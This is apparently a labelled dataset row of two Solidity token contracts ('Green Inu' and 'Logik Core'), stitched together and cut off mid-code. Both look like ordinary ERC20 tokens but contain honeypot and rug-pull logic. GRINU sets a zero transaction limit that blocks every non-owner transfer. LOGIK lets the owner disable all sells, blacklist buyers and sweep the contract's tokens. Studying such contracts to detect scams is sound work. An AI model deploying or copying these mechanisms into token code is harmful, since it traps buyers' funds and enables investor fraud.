* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GRINU is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Green Inu';
string private _symbol = 'GRINU';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 0;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-14
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-14
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract LogikCore is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress = payable(0x9c440Cc2aCdA516953e6a49dC39c8De86A071a4A); // Marketing Address
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Logik Core";
string private _symbol = "LOGIK";
uint8 private _decimals = 9;
uint256 public _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _liquidityFee;
uint256 private _previousLiquidityFee = _liquidityFee;
mapping(address => bool) public Limtcheck;
uint256 private _feeRate = 2;
uint256 launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint256 public maxTX =40000000000000e9;
bool inSwapAndLiquify;
bool tradingOpen = false;
bool public opensellTx=true;
uint256 public _buyFee=10;
uint256 public _sellFee=10;
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
openTrading();
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
marketingAddress = payable(marketingAddress);
Limtcheck[_msgSender()]=true;
Limtcheck[address(uniswapV2Router)]=true;
Limtcheck[uniswapV2Pair]=true;
Limtcheck[marketingAddress]=true;
}
function openTrading() internal {
_liquidityFee=10;
_taxFee=0;
tradingOpen = true;
launchTime = block.timestamp;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function ExcludeLimitcheck(address _addr,bool _status) public onlyOwner() {
Limtcheck[_addr]=_status;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], "You have no power here!");
require(!_isSniper[msg.sender], "You have no power here!");
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
//antibot
if (block.timestamp == launchTime) {
_isSniper[to] = true;
_confirmedSnipers.push(to);
}
}
if(!Limtcheck[to]){ require(balanceOf(to).add(amount) <= maxTX,"Tx Limit Exceed");
}
uint256 contractTokenBalance = balanceOf(address(this));
//sell
if (!inSwapAndLiquify && tradingOpen && to == uniswapV2Pair) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokens(contractTokenBalance);
}
if(opensellTx==false)
{
revert('Sell Tx not allowed');
}
}
bool takeFee = false;
//take fee only on swaps
if ( (from==uniswapV2Pair || to==uniswapV2Pair) && !(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ) {
takeFee = true;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
//Send to Marketing address
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
function sendETHToFee(uint256 amount) private {
marketingAddress.transfer(amount);
}
function ManualApproval() public onlyOwner
{
uint256 contractTokenBalance = balanceOf(address(this));
_approve(address(this), address(uniswapV2Router), contractTokenBalance);
}
function changeSellTx(bool _status) public onlyOwner {
opensellTx=_status;
}
function ManualswapTokens() public onlyOwner {
uint256 contractTokenBalance = balanceOf(address(this));
IERC20(address(this)).transfer(_msgSender(),contractTokenBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
